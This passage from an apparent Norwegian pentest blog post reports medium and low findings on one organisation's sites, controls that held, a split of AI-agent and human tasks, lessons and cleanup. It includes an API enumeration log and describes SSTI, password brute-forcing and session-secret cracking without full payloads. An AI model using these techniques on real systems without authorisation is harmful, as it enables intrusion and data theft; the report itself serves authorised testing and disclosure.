| M6 | **Sprout Forms** — usynlig reCAPTCHA ikke håndhevet server-side (automatiserbart) + mulig SSTI i varsel-malen (må verifiseres av kunde i e-post) | `www.nordlydas.no` | Håndhev reCAPTCHA server-side; auditér varsel-malen |
| M7 | **Moodle mobil-WS-token** (458 funksjoner) fra selvregistrert bruker; vilkårlig brukeroppslag (navn+e-post) via `core_user_get_users_by_field` | `kurs.nordlydas.no` | Begrens WS-protokoll/funksjoner for selvreg. brukere |

Enumereringen i M1 er verdt en linje, for den er så ren:

```text
GET /api/public/project/1  → 200 {"id":1,"name":"<maskert>","targetPpu":75}
GET /api/public/project/2  → 200 {"id":2,"name":"<maskert>","targetPpu":85}
GET /api/public/project/3  → 404 {"message":"Project not found"}
GET /api/public/project/4  → 200 {"id":4,"name":"<maskert>","targetPpu":70}
# authed-speil GET /api/projects → 401. Den «public» stien gjør ingen authz.
```

## Lav-funn (hele halen)

Ingen av disse er dramatiske alene, men de er med for fullstendighetens skyld —
og et par av dem (L1, L11) er injeksjonspunkter eller nøkler for funnene over.

| # | Funn | Ressurs | Fix |
|---|---|---|---|
| L1 | **CRM statisk `X-Dashboard-Key`** — sessionsløs lesing av `/api/dashboard/*`; `ACAO:*` lar nettleser-JS lese det kryss-origin. *(Eskalerte til kritisk da nøkkelverdien ble funnet — se over.)* | `crm.nordlydas.no` | Per-sesjon-auth; fjern wildcard-CORS |
| L2 | **`parse-document` ordrike feilmeldinger** lekker hele parser-avhengighetsstacken *(nå bak auth)* | `analyse.nordlydas.no` | Generiske feil |
| L3 | **Craft GraphQL-introspeksjon** på public `/api` *(nå lukket)* | `nordlydas.no` | Deaktiver public introspeksjon |
| L4 | **8 domener HTTP-only** (klartekst, ingen TLS) | estate-klynge | Tving HTTPS/HSTS |
| L5 | **HR-app-bundlen** lekker full Drizzle-schema inkl. `salary`/`bank`/`dob`/`password_hash`-kolonnenavn (data selv gated) | `ansatt.nordlydas.no` | Trim klient-bundlen; bekreft server-side authz |
| L6 | **HR-appens uautentiserte skjemakonfig** (DOB/nødkontakt/helse-felt) + kollegakatalog (navn/e-post/tlf/bursdag for 21 ansatte) synlig for enhver ansatt | `ansatt.nordlydas.no` | Gate skjemakonfig; minimér katalog-felt |
| L7 | **Moodle åpen selvregistrering** (enhver e-post) + eksponering av med-deltakeres e-post | `kurs.nordlydas.no` | Begrens registrering; skjul deltaker-e-post |
| L8 | **Moodle leietaker-enumerering** via sekvensiell `tenantid` (~24 navngitte kunde-leietakere; `TestTenant` i produksjon) | `kurs.nordlydas.no` | Randomisér/autorisér tenant-id; fjern TestTenant |
| L9 | **Moodle dev-/metadatafiler** eksponert (`Gruntfile.js`, `config-dist.php`, `/backup`) | `kurs.nordlydas.no` | Blokker fra web-rot |
| L10 | **Utdatert CMS/LMS** — Craft 3.9.15 (EOL) + Moodle 4.5.2 (~10 utgivelser bak) | begge | Oppgrader (henger sammen med SSTI-en) |
| L11 | **`X-Forwarded-Host` reflektert inn i asset-URL-er** — latent cache-poison→XSS, og selve injeksjonspunktet bak SSTI-en | `www.nordlydas.no` | Lukkes av SSTI-ens edge-hardening |
| L12 | **plan-ark** uautentisert global eksport-teller lesing+inkrement (vanity) | `planark.nordlydas.no` | Autorisér skrivingen |
| L13 | **tellned** uautentisert nedtellings-enumerering + uautentisert skriving uten slett-rute (permanent injeksjon; kanarirader ligger igjen) | `nedtelling.nordlydas.no` | Autorisér writes; legg til livssyklus-kontroll |
| L14 | **Manglende sikkerhetshoder** (HSTS/CSP/XFO/XCTO) + cookies uten SameSite; jQuery/htmx fra CDN uten SRI; `/web.config` + `/humans.txt` avsløring | `www.nordlydas.no` | Sett hoder; SameSite; SRI; blokker metadatafiler |
| L15 | **`connect.sid` uten SameSite** (flere SPA-er); Craft passord-reset brukerenum; Cloud Run-origin-avsløring via `/_ah/warmup` | flere | SameSite=Lax; generiske reset-svar; skjul origin |

## Det som holdt (ærlige negative funn)

En rapport som bare lister det som sprakk, gir kunden et skjevt bilde. Her er
kontrollene som motsto direkte press, dokumentert fordi de er like mye en del av
resultatet som den kritiske SSTI-en:

- **Craft CVE-2025-32432** (unauth object-injection RCE): patchet, fyrt 4×+ →
  `400 "Invalid transform handle"`, kryssjekket mot positiv kontroll. En annen
  bug enn funnet over — og den var reell lukket.
- **Moodle-tenant-isolasjon** fra en student-rolle: kryss-tenant kurs-/bruker-tilgang
  nektet; `/backup/restorefile.php` → ingen restore-tillatelse (så
  restore-RCE-CVE-en var ikke nåbar fra den rollen). Selvregistrering var åpen,
  men ga bare student-capabilities.
- **Salgs-CRM-ens identitetslag (nOAuth):** kronjuvelen jeg ikke fikk. Jeg
  testet den live med min egen Entra-leietaker og en **forfalsket e-postclaim** —
  ikke sårbar. CRM-et binder kontoer til Microsofts uforanderlige identitet
  (`oid`) _og_ bruker en streng per-e-post-tillatelsesliste (verken domenetillit
  eller auto-provisjonering). Det var den best sikrede appen i estaten — verdt å
  si høyt når resten av innlegget river den fra hverandre. (Selve
  CRM-_dataene_ lekket likevel, men via de hardkodede dashboard-nøklene over,
  ikke via identitetslaget.)
- **HR-appens server/DB:** ingen LFI, SQLi (Drizzle parametriserer), SSRF, XXE
  eller RCE; ingen `.env`/hemmeligheter eksponert. Express-sesjonshemmeligheten
  (`connect.sid`-signaturen) motsto GPU-cracking (rockyou × 52k regler på
  HMAC-SHA256) → sterk tilfeldig verdi, ikke forfalskbar.
- **SSRF → skymetadata:** ingen uautentisert server-side URL-henter finnes noe
  sted — skypivoten (GCP SA-token) var utenfor rekkevidde.
- **Request-smuggling / verb-tampering / parser-forvirring:** autentiserings-perimeteren
  holder uniformt (per-rute-håndterer, ikke en global mount som kan omgås).
  Cache-poisoning: ingen delt cache å forgifte. Lagret XSS fra uautentiserte
  writes: React escaper sinken.
- **Estate-loot-sweep:** ingen eksponerte sourcemaps, `.git` eller `.env` funnet
  i porteføljen. (Men se det kritiske funnet over: en offentlig _app-bundle_ er
  ikke en sourcemap — hemmelighetene lå i selve den minifiserte koden. Loot-sweep
  som bare leter etter `.map`/`.git`/`.env` går glipp av det.)

Verdien i å skrive ned dette er den samme som i de negative PoC-ene mot
AI-backenden: en agent i loopen genererer plausible funn fort, og plausible feil
like fort. Det som skiller dem er verifiseringen — og den fortjener like mye plass
i rapporten som treffet.

## Verktøy og hvem kjørte hva

- **Fingerprint og CVE-triage** (`whatweb`, HTTP-triage, GraphQL-introspeksjon,
  Craft-CVE-listen): agent, AI-kjørt.
- **SSTI-oppdagelse og header-sweep** (komma-frie payloads via en HTTP-løkke
  rundt `curl`): AI-generert og AI-kjørt; jeg satte ratelimit/scope og valgte
  hvilke treff som fikk eskaleres.
- **CVE-2025-32432-baselinen** (fyrt 4×, alle `400 "Invalid transform handle"`)
  og den positive kontrollen: agent-kjørt, jeg verifiserte verdikt.
- **Det reversible admin-steget**: SQL-uttrykkene formet jeg med AI-hjelp, men
  save-restore-verify-loopen, go/no-go og alvorlighetsvurderingen var mine.
  Nettleser-innloggingen kjørte via Playwright, manuelt supervisert.
- **AI-backend-PoC-ene** (pdf.js, mammoth, XXE, ImageMagick, zip-slip,
  prototype-pollution): agenten bygde ekte-trigger-filene; jeg vurderte
  resultatene og tok nedgraderingen.
- **Tripletex-kjeden:** to AI-genererte, redeploy-proof PoC-skript (auto-oppdager
  bundle, ekstraherer nøkler by value, minter session, skriver «remediated» ved
  rotasjon). Jeg satte RoE-grensene (count-only, maskerte beløp) og kjørte
  finans-verifikasjonen kun på kundens uttrykkelige forespørsel.
- **Moodle rapport-lekkasjen:** agenten mintet WS-tokenet og kalte
  `core_reportbuilder_retrieve_report`; jeg stoppet ved én maskert rad.
- **strategi-canaryen:** to-konto-oppsettet (plant hemmelighet i A, re-foreldre
  til B, les i B) satte jeg opp manuelt — det er selve beviset for tyveriet.
- **nOAuth-testen** mot CRM-identiteten (egen Entra-leietaker + forfalsket
  e-postclaim) kjørte jeg manuelt; den krevde eksplisitt tilleggsgodkjenning.
- **Mail-auth-sveipen** (SPF/DMARC over 26 domener, `dig` + en OSINT-kryssjekk):
  AI-kjørt, verifisert 2×.

## Hva jeg lærte

- **Den støyende CVE-en og det ekte hullet er sjelden det samme.**
  CVE-2025-32432 var patchet; en fire år gammel SEOmatic-header-SSTI var vidåpen.
  En scanner som bare sjekker fjorårets overskrift-bug, går rett forbi den stille
  døra.
- **En forwarded-header er angriper-input.** `X-Forwarded-Host` nådde en
  Twig-renderer. Behandle enhver proxy-header som utrusted på app-laget, ikke bare
  på edgen.
- **Én `200` (eller én reflektert `1337`) er ikke funnet.** Den benigne
  host-refleksjonen og 0-rads-`UPDATE`-en er de negative kontrollene som gjør
  «en header evalueres» om til «vilkårlig SQL og admin».
- **Burst-throttling er ikke lockout.** HR-systemets tar-pit så beskyttende ut,
  men den straffet fart, ikke antall. En rolig online-brute gjettet fritt, og
  `admin123` falt på forsøk 58. Et ekte lockout teller mislykkede forsøk per konto.
- **En nedgradering er et resultat.** AI-backenden gikk fra «kanskje unauth RCE»
  til «BAC + denial-of-wallet» kun fordi de væpnede PoC-ene kom tilbake negative.
  Å dokumentere _hvorfor_ er hele poenget.
- **Reversibilitet er en plan, ikke et håp.** Lagre originalen, gjør den minst
  mulige endringen, restaurer, verifiser at tilbakelesningen er identisk, logg ut.
  Bestem det før du rører en levende konto.
- **En offentlig app-bundle er ikke en sourcemap.** Nøkkelen runde 1 kalte «aldri
  fanget» lå i klartekst i den minifiserte JS-en. En loot-sweep som bare grep-er
  etter `.map`/`.git`/`.env` går glipp av hemmeligheter som ligger _i_ koden.
  Ekstraher og les selve bundlen.
- **En write-side eierskapssjekk som glemmer forelderen, er en lese-primitiv.**
  strategi sjekket at du eide objektet, men lot deg re-foreldre det til ditt eget
  arbeidsområde — og dermed lese det. Autorisér både kilde _og_ destinasjon på
  hver write.
- **`p=reject` er ikke nok hvis SPF stoler på en IP du ikke eier.** Flaggskipet
  var e-postsikret på papiret, men autoriserte en delt web-host — altså hver
  medleietaker på den. Autorisér virtuelle avsendere, ikke delte IP-er.
- **Selvbetjent registrering + én feilklassifisert rapport = massekatalog.** En
  fersk Moodle-student ble til en katalogskraper fordi ett rapport-publikum var
  satt på systemnivå. Recon stopper ikke ved «jeg kom inn» — det fortsetter til
  «hva kan denne rollen faktisk nå».

## Opprydding

Ingen persistens eller bakdører plantet noe sted. Kanari-objektene jeg lagde for
å bevise writes bør kunden fjerne ved oppdragsslutt: nedtellings-radene på
`nedtelling.nordlydas.no` (ingen slett-rute — krever DB-fjerning), en
kanari-nyansatt og et par foreldreløse editor-bilder i HR-appen, en
Moodle-testkonto med tilhørende mobiltoken, og noen kanari-kontoer på strategi.
På min side: de ekstraherte Craft-nøklene og admin-hashen makuleres ved
oppdragsslutt, nOAuth-samtykket i min egen Entra-leietaker tilbakekalles, og
Tripletex-sessionen utløper av seg selv etter én dag. Den super-admin-passord-endringen
fra SSTI-kjeden ble restaurert og verifisert tilbake til original samme minutt.

## Veien videre

Kunden har allerede rukket å utbedre det meste: SSTI-en er robust lukket (ingen
host-header-variant reflekteres lenger), AI-backenden er autentiseringssikret, og
GraphQL-introspeksjonen er stengt. Det tyngste som gjenstår er hastesaken —
rotere dashboard- og Tripletex-nøklene og få hemmelighetene _ut_ av klientkoden —
pluss infrastruktur-halen: e-postforfalskning på de 25 domenene, de hengende
subdomenene og patch-etterslepet på Craft og Moodle.

I morgen kjører jeg en ny full ekstern test. Den verifiserer fiksene punkt for
punkt — PoC-skriptene fra Tripletex-kjeden dobler som utbedrings-sjekk, siden de
skriver «remediated» når nøklene er rotert — og leter samtidig etter ny
angrepsflate som kan ha dukket opp. Den blir sitt eget innlegg, i samme form som
[den forrige fulle retesten av en MSP-portal](/blogg/2026-07-11-alt-er-fikset-sa-de-retest-av-en-msp-portal):
punkt for punkt, med bevis for hva som faktisk ble lukket og hva som fortsatt står
åpent.
